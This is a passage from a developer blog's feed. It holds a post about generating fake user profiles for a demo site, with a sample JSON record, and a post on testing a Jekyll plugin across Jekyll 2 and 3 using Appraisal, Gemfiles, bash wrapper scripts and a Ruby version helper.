[41]: /img/files/2016-06-01/background.gif
[42]: https://community.algolia.com/marvel-search/
[43]: https://github.com/algolia/marvel/&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Fake user profiles</title>
    <link href="https://blog.pixelastic.com/2016/05/27/fake-user-profiles/"/>
    <updated>2016-05-27T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2016/05/27/fake-user-profiles</id>
    <content type="html">&lt;p&gt;For a demo website I just built I needed a set of fake user profiles. I needed
something with names, address and a profile picture. I didn&#39;t want to use any
data from real existing people, but still needed something the looked &lt;em&gt;real
enough&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;So I got a sample of fake profiles from &lt;a href=&quot;https://randomuser.me&quot;&gt;randomuser.me&lt;/a&gt;, making sure that no
two profiles had the same picture. I also added in the mix a few pictures from
my coworkers at &lt;a href=&quot;https://www.algolia.com&quot;&gt;Algolia&lt;/a&gt; as an easter egg.&lt;/p&gt;
&lt;p&gt;Everything is pushed to &lt;a href=&quot;https://github.com/pixelastic/fakeusers&quot;&gt;GitHub&lt;/a&gt;, along with the scripts used to generate the
data. Everytime you launch the script, it will generate a new list of random
profiles.&lt;/p&gt;
&lt;p&gt;Here is a sample of what a fake user looks like:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  &quot;email&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;liam.walters@example.com&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  &quot;gender&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;male&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  &quot;phone_number&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;0438-376-652&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  &quot;birthdate&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;826530877&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  &quot;location&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    &quot;street&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;9156 dogwood ave&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    &quot;city&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;devonport&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    &quot;state&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;australian capital territory&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    &quot;postcode&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;7374&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  &quot;username&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;biglion964&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  &quot;password&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;training&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  &quot;first_name&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;liam&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  &quot;last_name&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;walters&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  &quot;title&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;mr&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  &quot;picture&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;men/50.jpg&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And the &lt;a href=&quot;https://github.com/pixelastic/fakeusers/blob/master/data/final.json&quot;&gt;full dataset&lt;/a&gt; can be downloaded from GitHub as well, and all
pictures referenced in the list are also available in the repo.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Testing several Jekyll versions</title>
    <link href="https://blog.pixelastic.com/2016/01/06/testing-several-jekyll-versions/"/>
    <updated>2016-01-06T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2016/01/06/testing-several-jekyll-versions</id>
    <content type="html">&lt;p&gt;Maintaining a Jekyll plugin that must work for two major versions of Jekyll is a
challenge.&lt;/p&gt;
&lt;p&gt;I released the &lt;a href=&quot;https://github.com/algolia/algoliasearch-jekyll&quot;&gt;Jekyll Algolia plugin&lt;/a&gt; for Jekyll 2.5 (the version used by
GitHub). Jekyll recently released their v3.0 and while the plugin is still
working, it produces a huge number of deprecation warnings.&lt;/p&gt;
&lt;p&gt;This is caused by the fact that Jekyll changed the place where some information
were stored (at the root of an objet or in a sub &lt;code&gt;data&lt;/code&gt; key). This was mostly a
really easy fix to add but I wanted to make sure I wasn&#39;t adding any regression
as well.&lt;/p&gt;
&lt;h2&gt;Testing multiple versions&lt;/h2&gt;
&lt;p&gt;That&#39;s when my journey into testing the plugin for two different major version
began. I needed a way to launch my tests for Jekyll 2.5 as well Jekyll 3.0 and
check that everything was green.&lt;/p&gt;
&lt;p&gt;I used &lt;a href=&quot;https://github.com/thoughtbot/appraisal&quot;&gt;Appraisal&lt;/a&gt;, a wonderful tool by &lt;a href=&quot;https://github.com/thoughtbot&quot;&gt;Thoughtbot&lt;/a&gt;. It lets you define
your &lt;code&gt;Gemfile&lt;/code&gt; like usual, but also named overrides on top of it.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-ruby&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# ./Gemfile&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;source &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;http://rubygems.org&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;gem &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;algoliasearch&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;~&gt; 1.4&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;gem &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;appraisal&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;~&gt; 2.1.0&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;gem &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;jekyll&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;~&gt; 2.5&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;group &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;:development&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  gem &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;appraisal&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;~&gt; 2.1.0&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  gem &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;rspec&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;~&gt; 3.0&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  gem &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;simplecov&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;~&gt; 0.10&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-ruby&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# ./Appraisals&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;appraise &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;jekyll-v2&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  gem &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;jekyll&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;~&gt; 2.5&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;appraise &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;jekyll-v3&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  gem &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;jekyll&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;~&gt; 3.0&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  gem &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;jekyll-paginate&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;~&gt; 1.1.0&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As you can see, I simply defined my dependencies in &lt;code&gt;Gemfile&lt;/code&gt;, then override
them in &lt;code&gt;Appraisal&lt;/code&gt;, naming each group. &lt;code&gt;jekyll-v2&lt;/code&gt; will use Jekyll 2.5 while
&lt;code&gt;jekyll-v3&lt;/code&gt; will use 3.0. Jekyll 3 no longer comes shipped with
&lt;code&gt;jekyll-paginate&lt;/code&gt; so I had to manually add it as well.&lt;/p&gt;
&lt;p&gt;Once this is done, be sure to run &lt;code&gt;appraisal install&lt;/code&gt; after the usual
&lt;code&gt;bundle install&lt;/code&gt;. This will create all the needed gemfiles in &lt;code&gt;./gemfiles&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;gemfiles&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;├── jekyll_v2.gemfile&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;├── jekyll_v2.gemfile.lock&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;├── jekyll_v3.gemfile&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;└── jekyll_v3.gemfile.lock&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Running tests in two versions&lt;/h2&gt;
&lt;p&gt;Running scripts in one version or the other is now as simple as prefixing the
command with &lt;code&gt;appraisal jekyll-v2&lt;/code&gt; or &lt;code&gt;appraisal jekyll-v3&lt;/code&gt;. Granted, with
&lt;code&gt;bundler&lt;/code&gt; and &lt;code&gt;rake&lt;/code&gt; you end up typing stuff like
&lt;code&gt;appraisal jekyll-v3 bundle exec rake spec&lt;/code&gt;, but just put it all in a wrapper
bash script and problem solved.&lt;/p&gt;
&lt;p&gt;This is actually the content of some of my scripts in &lt;code&gt;./scripts&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;#!/usr/bin/env bash&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# ./scripts/test_v2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;cd&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;$(&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;dirname&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$BASH_SOURCE&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;)&quot;/..&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;Testing under Jekyll 2&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;appraisal&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; jekyll-v2&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; bundle&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; exec&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; rake&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; spec&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;#!/usr/bin/env bash&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# ./scripts/test_v3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;cd&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;$(&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;dirname&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$BASH_SOURCE&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;)&quot;/..&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;Testing under Jekyll 3&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;appraisal&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; jekyll-v3&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; bundle&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; exec&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; rake&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; spec&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;#!/usr/bin/env bash&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# ./scripts/test&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;cd&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;$(&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;dirname&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$BASH_SOURCE&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;)&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;./test_v2&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; &amp;#x26;&amp;#x26; &lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;./test_v3&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Running some tests only for Jekyll 3&lt;/h2&gt;
&lt;p&gt;I had a couple of tests that made sense only for Jekyll 3, so I had to find a
way to only execute them when the Jekyll loaded as a dependency was &amp;gt; 3.0.&lt;/p&gt;
&lt;p&gt;Here is the little ruby method I added to my spec helpers:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-ruby&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; restrict_jekyll_version&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;more_than:&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; nil&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;less_than:&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; nil&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  jekyll_version&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; Gem&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;Version&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;Jekyll&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;VERSION&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  minimum_version&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; Gem&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;Version&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;more_than&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  maximum_version&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; Gem&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;Version&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;less_than&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; false&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; if&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; !&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;more_than.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;nil?&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; &amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; jekyll_version &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; minimum_version&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; false&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; if&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; !&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;less_than.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;nil?&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; &amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; jekyll_version &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; maximum_version&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;  true&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;Gem::Version&lt;/code&gt; comes bundled with all the semver comparison you might need, so
better to use it than coding it myself.&lt;/p&gt;
&lt;p&gt;And an example of how I use it in the tests:&lt;/p&gt;
